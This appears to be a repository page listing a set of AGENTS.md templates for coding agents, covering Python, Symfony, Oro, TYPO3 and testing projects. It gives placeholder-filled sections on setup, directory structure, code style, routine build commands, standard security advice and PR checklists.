sensitive values (not in git) - **OAuth2**: Configure for API authentication - **ACL**: Define permissions in bundle `acl.yml` - **HTTPS**: Enforce in production - **Secrets**: Use Symfony secrets for production credentials - **Session**: Configure secure session handling <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START deployment --> ## Deployment ```bash # Production deployment steps composer install --no-dev --optimize-autoloader bin/console cache:clear --env=prod bin/console oro:platform:update --env=prod --force bin/console oro:assets:install --env=prod bin/console assetic:dump --env=prod ``` - Always run `oro:platform:update` after code changes - Restart message queue consumer after deployment - Warm up cache before switching to new release <!-- AGENTS-GENERATED:END deployment --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{CACHE_CHECKLIST_LINE}} {{PHPSTAN_CHECKLIST_LINE}} {{UNIT_TEST_CHECKLIST_LINE}} - [ ] Bundle registered in `config/oro/bundles.yml` - [ ] Migrations reversible and tested - [ ] Assets installed: `bin/console oro:assets:install` - [ ] Message queue tested with consumer running - [ ] ACL permissions defined for new entities <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Oro Documentation: https://doc.oroinc.com - Installation: https://doc.oroinc.com/backend/setup/ - Backend Architecture: https://doc.oroinc.com/backend/architecture/ - CLI Commands: `bin/console list oro` - Check `vendor/oro/` bundles for reference implementations - Review root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
python-modern.md 6.1 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{PYTHON_VERSION_LINE}} {{PACKAGE_MANAGER_LINE}} {{VENV_LINE}} {{ENV_VARS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Project configuration All tool config lives in `pyproject.toml` -- no `setup.cfg`, `setup.py`, `tox.ini`, or scattered config files. ```toml [project] # PEP 621 metadata [build-system] # Build backend (hatchling, setuptools, flit, pdm) [tool.ruff] # Linting + formatting (replaces black, isort, flake8, pylint) [tool.ruff.lint] # Lint rule selection [tool.mypy] # Static type checking [tool.pytest.ini_options] # Test configuration [tool.coverage] # Coverage settings ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests | Command | Purpose | ~Time | |---------|---------|-------| {{RUFF_CHECK_LINE}} {{RUFF_FORMAT_LINE}} {{MYPY_LINE}} {{PYTEST_LINE}} {{PYTEST_COV_LINE}} {{BUILD_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions ### Ruff (linting + formatting) - Ruff replaces black, isort, flake8, pylint, pyflakes, pycodestyle in one tool - Format: `ruff format .` -- black-compatible, deterministic - Lint: `ruff check . --fix` -- auto-fix safe rules - Config in `pyproject.toml` under `[tool.ruff]` - Common rule sets: `E` (pycodestyle), `F` (pyflakes), `I` (isort), `UP` (pyupgrade), `B` (bugbear) ### Type hints (mypy) - All functions must have type annotations (parameters + return) - Use `mypy --strict` or configure strictness in `pyproject.toml` - Modern syntax: `str | None` not `Optional[str]`, `list[int]` not `List[int]` - Use `typing.TypeAlias` for complex types - Use `Protocol` for structural subtyping (duck typing with types) ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Module | `snake_case` | `user_service.py` | | Class | `PascalCase` | `UserService` | | Function | `snake_case` | `get_user_by_id()` | | Constant | `UPPER_SNAKE_CASE` | `MAX_RETRIES` | | Type variable | `PascalCase` | `T = TypeVar("T")` | | Private | `_leading_underscore` | `_internal_helper()` | ### Docstrings - Google style preferred (compatible with Sphinx napoleon) - Required for all public modules, classes, functions - Include `Args:`, `Returns:`, `Raises:` sections ### Imports - Ruff handles import sorting (`I` rules) -- no separate isort needed - Group: stdlib, third-party, local (Ruff enforces this) - Prefer absolute imports; relative only within package internals <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START testing --> ## Testing (pytest) - Test files: `tests/` directory, files named `test_*.py` - Test functions: `test_<description>()` -- no class needed for simple tests - Fixtures: prefer `conftest.py` for shared fixtures - Parametrize: use `@pytest.mark.parametrize` for data-driven tests - Markers: `@pytest.mark.slow`, `@pytest.mark.integration` for selective runs - Coverage: `pytest --cov=src --cov-report=term-missing` - Assert style: plain `assert` (pytest rewrites for detailed output) <!-- AGENTS-GENERATED:END testing --> <!-- AGENTS-GENERATED:START dependency-management --> ## Dependency management ### uv (recommended) ```bash uv sync # Install deps from uv.lock uv add <package> # Add dependency uv add --dev <package> # Add dev dependency uv run pytest # Run in managed venv ``` ### poetry ```bash poetry install # Install deps from poetry.lock poetry add <package> # Add dependency poetry add --group dev <p> # Add dev dependency poetry run pytest # Run in managed venv ``` ### pip (fallback) ```bash python -m venv .venv && source .venv/bin/activate pip install -e ".[dev]" # Install with dev extras ``` <!-- AGENTS-GENERATED:END dependency-management --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate and sanitize all user inputs - Use parameterized queries for database access (SQLAlchemy, asyncpg) - Never use dynamic code evaluation functions with untrusted data - Sensitive data: never log or expose in errors - File paths: validate and use `pathlib.Path` for all path operations - Subprocess: use list args, never `shell=True` with user input - Dependencies: pin versions in lockfile, audit with `pip-audit` or `safety` <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] `ruff check .` passes (no lint errors) - [ ] `ruff format --check .` passes (formatting clean) - [ ] `mypy .` passes (no type errors) - [ ] `pytest` passes (all tests green) - [ ] New public functions have type hints and docstrings - [ ] No `# type: ignore` without explanation comment <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Python docs: https://docs.python.org - Ruff rules reference: https://docs.astral.sh/ruff/rules/ - mypy cheat sheet: https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html - pytest docs: https://docs.pytest.org - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
resources.md 3.5 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Resources are typically consumed by other parts of the application - Some resources may need preprocessing or compilation - Check build scripts for resource handling <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START types --> ## Resource types - **Templates**: HTML, email, or text templates - **Static assets**: Images, fonts, icons, stylesheets - **Configuration**: Default configs, schema files, fixtures - **Localization**: Translation files, locale data - **Data files**: JSON, YAML, CSV for static data <!-- AGENTS-GENERATED:END types --> <!-- AGENTS-GENERATED:START organization --> ## Organization conventions - Group resources by type: `templates/`, `images/`, `locales/` - Use consistent naming: lowercase, hyphens for spaces - Keep related resources together - Version large binary assets carefully (consider Git LFS) <!-- AGENTS-GENERATED:END organization --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Use descriptive file names: `user-profile-template.html` not `template1.html` - Keep templates simple - logic belongs in code, not templates - Use consistent indentation in structured files (JSON, YAML, XML) - Document template variables and their expected values - Optimize images before committing (compress, resize) <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START templates --> ## Template best practices - Use clear placeholder syntax: `{{variable}}` or `${variable}` - Document all required variables in comments or README - Keep templates focused - one purpose per template - Use partials/includes for reusable components <!-- AGENTS-GENERATED:END templates --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never store secrets in resource files - Validate all resource files that accept user input - Sanitize template variables to prevent injection - Review images/assets for embedded metadata (EXIF, etc.) - Use CSP-safe inline styles when applicable <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] File names are descriptive and consistent - [ ] Images are optimized (compressed, correct size) - [ ] Templates have documented variables - [ ] No sensitive data in resources - [ ] Structured files are valid (JSON, YAML syntax) - [ ] Changes tested with consuming code <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check how resources are consumed in the codebase - Look for build/preprocessing scripts - Review existing resources for patterns - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
skill-repo.md 5.4 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - **Plugin manifest**: `.claude-plugin/plugin.json` (name, version, skills array, author URL) - **Skills**: `skills/<name>/SKILL.md` — one per domain - **Licensing**: Split MIT (code) + CC-BY-SA-4.0 (content) — entity: `Netresearch DTT GmbH` - **CI**: Reusable workflows from `netresearch/skill-repo-skill` (`validate.yml`, `auto-merge-deps.yml`) <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` .claude-plugin/ plugin.json → Plugin manifest (name, version, skills, author) skills/ <skill-name>/ SKILL.md → Skill definition (max 500 words) assets/ → Templates, scoped AGENTS.md templates scripts/ → Shell scripts (bash 4.3+, ShellCheck clean) references/ → Extended docs, golden samples, examples checkpoints/ → Checkpoint definitions (YAML) LICENSE-MIT → MIT license for code LICENSE-CC-BY-SA-4.0 → CC-BY-SA-4.0 for content .github/ workflows/ lint.yml → Calls skill-repo-skill validate.yml@main auto-merge-deps.yml → Calls skill-repo-skill auto-merge-deps.yml@main ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{LINT_LINE}} {{VALIDATE_LINE}} {{SHELLCHECK_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions ### SKILL.md rules - Max **500 words** — keep it focused and actionable - Use `references/` for extended documentation (no word limit) - Front matter: `name`, `description`, `license`, `compatibility`, `metadata`, `allowed-tools` - Instructions are FOR AGENTS, not humans — be prescriptive, not descriptive ### plugin.json rules - `version`: semver, bump on release - `author.url`: must be a valid URL - `skills[].name` must match directory name under `skills/` ### Shell scripts - Shebang: `#!/usr/bin/env bash` - `set -euo pipefail` at top - ShellCheck clean (no suppressions without justification) - Use `"$var"` quoting everywhere ### Templates - Use `{{PLACEHOLDER}}` syntax — whole-line placeholders only - Wrap auto-generated sections in `<!-- AGENTS-GENERATED:START name -->` / `<!-- AGENTS-GENERATED:END name -->` ### Licensing - Entity name: **Netresearch DTT GmbH** (never "Netresearch GmbH & Co. KG") - Code files (`.sh`, `.py`, `.json`): MIT - Content files (`.md`, `.yaml`): CC-BY-SA-4.0 <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START checkpoints --> ## Checkpoints (verification) - `checkpoints.yaml` defines verifiable steps agents can run - Each checkpoint: `name`, `command`, `expected` (exit code or output pattern) - Agents run checkpoints after completing tasks to verify correctness - Keep checkpoints fast (<10s each) <!-- AGENTS-GENERATED:END checkpoints --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never include secrets or credentials in skills - Validate all user inputs in scripts - Use placeholder values in examples: `your-api-key`, `example.com` - Review generated content for sensitive information - Shell scripts: quote all variables, avoid `eval` with user input <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START ci --> ## CI/CD - **Validate workflow**: Runs on PR — markdown lint, YAML lint, ShellCheck, plugin.json schema - **Auto-merge deps**: Merges Renovate/Dependabot PRs after CI passes - Config files (`.markdownlint-cli2.jsonc`, `.yamllint.yml`) are per-repo; validate.yml provides defaults if missing - **Releasing**: bump `plugin.json` version, create signed tag, push — release workflow handles the rest <!-- AGENTS-GENERATED:END ci --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] SKILL.md is under 500 words - [ ] `plugin.json` version bumped if releasing - [ ] Shell scripts pass ShellCheck - [ ] Templates use whole-line `{{PLACEHOLDER}}` syntax - [ ] Golden samples exist for key patterns - [ ] Checkpoints are verifiable (fast, deterministic) - [ ] Entity name is "Netresearch DTT GmbH" in all license files - [ ] No trailing blank lines in YAML files <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check existing skill repos for patterns (e.g., `agent-rules-skill`, `go-development-skill`) - Review `skill-repo-skill` for CI workflow definitions - Test skills locally with `claude --skill <name>` - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
symfony.md 5.3 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PHP_VERSION_LINE}} {{SYMFONY_VERSION_LINE}} {{DATABASE_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` src/ Controller/ → HTTP controllers Entity/ → Doctrine entities Repository/ → Doctrine repositories Service/ → Business logic services Form/ → Form types EventSubscriber/ → Event subscribers Command/ → Console commands Security/ → Voters, authenticators config/ packages/ → Bundle configuration routes/ → Routing configuration services.yaml → Service definitions templates/ → Twig templates migrations/ → Doctrine migrations tests/ → PHPUnit tests ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{COMMANDS_TABLE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - **PSR-12** coding standard with strict types - Use **constructor injection** for dependencies - Controllers are thin: delegate to services - Use **attributes** for routing, validation, ORM mapping - Services are autowired by default ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Controller | `<Entity>Controller` | `UserController` | | Service | `<Domain>Service` or `<Domain>Manager` | `UserService` | | Repository | `<Entity>Repository` | `UserRepository` | | Form | `<Entity>Type` | `UserType` | | Event | `<Entity><Action>Event` | `UserCreatedEvent` | | Command | `app:<domain>:<action>` | `app:user:import` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START patterns --> ## Symfony-specific patterns ### Controller with form handling ```php #[Route('/user/new', name: 'user_new')] public function new(Request $request, EntityManagerInterface $em): Response { $user = new User(); $form = $this->createForm(UserType::class, $user); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { $em->persist($user); $em->flush(); return $this->redirectToRoute('user_show', ['id' => $user->getId()]); } return $this->render('user/new.html.twig', ['form' => $form]); } ``` ### Service with dependency injection ```php final class UserService { public function __construct( private readonly UserRepository $userRepository, private readonly EventDispatcherInterface $dispatcher, ) {} public function createUser(string $email): User { $user = new User($email); $this->userRepository->save($user, flush: true); $this->dispatcher->dispatch(new UserCreatedEvent($user)); return $user; } } ``` ### Custom console command ```php #[AsCommand(name: 'app:user:import', description: 'Import users from CSV')] final class ImportUsersCommand extends Command { protected function execute(InputInterface $input, OutputInterface $output): int { // Implementation return Command::SUCCESS; } } ``` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Use **Voters** for authorization logic, not inline checks - Store secrets in `.env.local` (never commit) - Use **CSRF tokens** for all forms - Enable **security headers** via NelmioSecurityBundle - Validate all input with Symfony Validator constraints - Use **parameterized queries** (Doctrine handles this) <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{PHPSTAN_CHECKLIST_LINE}} {{CS_CHECKLIST_LINE}} {{TEST_CHECKLIST_LINE}} - [ ] Migrations are reversible (`down()` method works) - [ ] New routes have proper security annotations - [ ] Services are properly autowired (no manual config needed) - [ ] Cache cleared: `bin/console cache:clear` <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Symfony docs: https://symfony.com/doc/current/ - Best practices: https://symfony.com/doc/current/best_practices.html - Check existing controllers/services for patterns - Run `bin/console debug:router` to inspect routes - Run `bin/console debug:container` to inspect services - Review root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
testing.md 3 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Install dev dependencies before running tests - Some tests may require additional setup (see individual test files) - Use the project's test framework consistently <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Running tests {{TEST_LINE}} {{TEST_SINGLE_LINE}} {{TEST_COVERAGE_LINE}} {{TEST_WATCH_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START organization --> ## Test organization - Group tests by feature or module - Name test files to match source files (e.g., `foo_test.go`, `foo.test.ts`) - Use descriptive test names that explain the expected behavior - Keep fixtures and mocks in dedicated directories <!-- AGENTS-GENERATED:END organization --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - One assertion per test when possible - Use descriptive test names: `test_should_return_error_when_input_is_empty` - Avoid testing implementation details; focus on behavior - Keep tests independent - no shared mutable state - Mock external dependencies (network, filesystem, time) - Use table-driven tests for multiple similar cases <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never commit real credentials in test fixtures - Use environment variables or mock services for sensitive data - Sanitize any test data that might contain PII - Ensure test databases are isolated from production <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] All tests pass locally - [ ] New functionality has corresponding tests - [ ] Test names describe expected behavior - [ ] No hardcoded credentials or sensitive data - [ ] Mocks are appropriate and maintainable - [ ] Coverage hasn't decreased significantly <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check existing tests for patterns - Review test framework documentation - Ensure test isolation (no shared state) - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
typo3-docs.md 3.6 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview TYPO3 extension documentation (RST format for docs.typo3.org). **Use the `typo3-docs` skill** for comprehensive guidance. <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START structure --> ## Structure (docs.typo3.org standard) ``` Documentation/ ├── Index.rst # Main entry point (required) ├── Settings.cfg # Sphinx configuration (required) ├── Includes.rst.txt # Shared includes ├── Introduction/ │ └── Index.rst ├── Installation/ │ └── Index.rst ├── Configuration/ │ └── Index.rst ├── Editor/ │ └── Index.rst ├── Developer/ │ └── Index.rst └── Images/ └── *.png, *.svg ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Rendering Docs | Task | Command | |------|---------| | Render locally | `docker run --rm -v $(pwd):/project ghcr.io/typo3-documentation/render-guides:latest` | | Preview | Open `Documentation-GENERATED-temp/Index.html` | | Clean | `rm -rf Documentation-GENERATED-temp/` | <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START patterns --> ## Key Patterns (TYPO3-specific) - Use RST format, **not Markdown** - Use TYPO3 directives: `confval`, `versionadded`, `deprecated`, `t3-field-list-table` - Include code with `.. code-block:: php` or `.. literalinclude::` - Cross-reference with `:ref:` and proper labels - **Screenshots MANDATORY** for backend modules, config screens, UI workflows - Store in `Documentation/Images/`, use `.. figure::` with `:zoom: lightbox` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START screenshots --> ## Screenshots (MANDATORY for UI) ```rst .. figure:: /Images/Configuration/ExtensionSettings.png :alt: Extension configuration showing API settings :zoom: lightbox :class: with-border with-shadow Configure the extension in Admin Tools > Settings ``` - Format: **PNG only** - Zoom modes: `lightbox` (default), `gallery` (tutorials), `inline` (diagrams) - Always include `:alt:` text <!-- AGENTS-GENERATED:END screenshots --> <!-- AGENTS-GENERATED:START code-style --> ## RST Style - Headings: `=` for H1, `-` for H2, `~` for H3, `^` for H4 - Line length: ~80 characters for readability - One sentence per line (for better diffs) - Use `.. note::`, `.. warning::`, `.. tip::` for admonitions - Tables: use `.. t3-field-list-table::` or grid tables <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START checklist --> ## PR Checklist - [ ] RST syntax valid (renders without errors) - [ ] All internal links resolve - [ ] Images have `:alt:` text and `:zoom: lightbox` - [ ] **Screenshots exist** for all backend/config/UI sections - [ ] Code examples are tested - [ ] Follows docs.typo3.org structure <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START skill-reference --> ## Skill Reference > For RST syntax, TYPO3 directives, screenshots, and docs.typo3.org deployment: > **Invoke skill:** `typo3-docs` <!-- AGENTS-GENERATED:END skill-reference --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
typo3-extension.md 5.1 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PHP_VERSION_LINE}} {{TYPO3_VERSION_LINE}} {{DEV_SETUP_LINE}} {{REQUIRED_EXTENSIONS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` Classes/ → PHP classes (PSR-4: Vendor\ExtKey\) Controller/ → Backend/Frontend controllers Domain/ → Model, Repository, Validator Service/ → Business logic services ViewHelpers/ → Fluid ViewHelpers Configuration/ → TYPO3 configuration TCA/ → Table Configuration Array TypoScript/ → TypoScript setup/constants FlexForms/ → FlexForm XML definitions Backend/ → Backend module config Resources/ Private/ → Templates, Partials, Layouts (Fluid) Public/ → CSS, JS, Icons Tests/ Unit/ → PHPUnit unit tests Functional/ → Functional tests with DB Documentation/ → RST documentation for docs.typo3.org ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{COMMANDS_TABLE}} {{DDEV_ALTERNATIVE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - **PSR-12** + TYPO3 CGL (Coding Guidelines) - Strict types: `declare(strict_types=1);` in all PHP files - Namespace: `{{VENDOR}}\{{EXT_KEY}}\` (PSR-4 from Classes/) - Use dependency injection via `Services.yaml`, not `GeneralUtility::makeInstance()` - Extbase conventions for domain models and repositories - Fluid templates: use `<f:` and custom ViewHelpers - TCA: use TYPO3 API, not raw SQL for schema - Never use `$GLOBALS['TYPO3_DB']` (deprecated since v8) ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Extension key | `lowercase_underscore` | `my_extension` | | Composer name | `vendor/ext-key` | `vendor/my-extension` | | Namespace | `Vendor\ExtKey\` | `Vendor\MyExtension\` | | Controller | `*Controller` | `BlogController` | | Repository | `*Repository` | `PostRepository` | | ViewHelper | `*ViewHelper` | `FormatDateViewHelper` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - **Always use QueryBuilder** or Extbase repositories - never raw SQL - **Escape output** in Fluid: `{variable}` auto-escapes, use `<f:format.raw>` only when safe - **CSRF protection**: use `\TYPO3\CMS\Core\FormProtection\FormProtectionFactory` for forms - **Access checks**: use `$GLOBALS['BE_USER']->check()` for backend - **File handling**: use FAL (File Abstraction Layer), never direct file paths - **Never trust user input**: validate via Extbase validators or custom validation <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{CI_CHECKLIST_LINE}} {{PHPSTAN_CHECKLIST_LINE}} - [ ] ext_emconf.php version updated if releasing - [ ] TCA changes have matching SQL in ext_tables.sql - [ ] Documentation updated in Documentation/ - [ ] No deprecated TYPO3 APIs (run Extension Scanner) {{TYPO3_VERSION_CHECKLIST_LINE}} <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START upgrade --> ## TYPO3 upgrade considerations - Run **Extension Scanner** before upgrading: Backend → Upgrade → Scan Extension Files - Use **Rector** for automated migrations: `vendor/bin/rector process` - Check **deprecation log** in TYPO3 backend - Review [TYPO3 Changelog](https://docs.typo3.org/c/typo3/cms-core/main/en-us/Index.html) for breaking changes <!-- AGENTS-GENERATED:END upgrade --> <!-- AGENTS-GENERATED:START help --> ## When stuck - TYPO3 Documentation: https://docs.typo3.org - TCA Reference: https://docs.typo3.org/m/typo3/reference-tca/main/en-us/ - Core API: https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ - Extbase Guide: https://docs.typo3.org/m/typo3/book-extbasefluid/main/en-us/ - Check existing patterns in EXT:core or EXT:backend - Review root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> <!-- AGENTS-GENERATED:START skill-reference --> ## Skill Reference > For TYPO3 extension standards, TER compliance, and conformance checks: > **Invoke skill:** `typo3-conformance` <!-- AGENTS-GENERATED:END skill-reference --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
typo3-project.md 4.7 KB
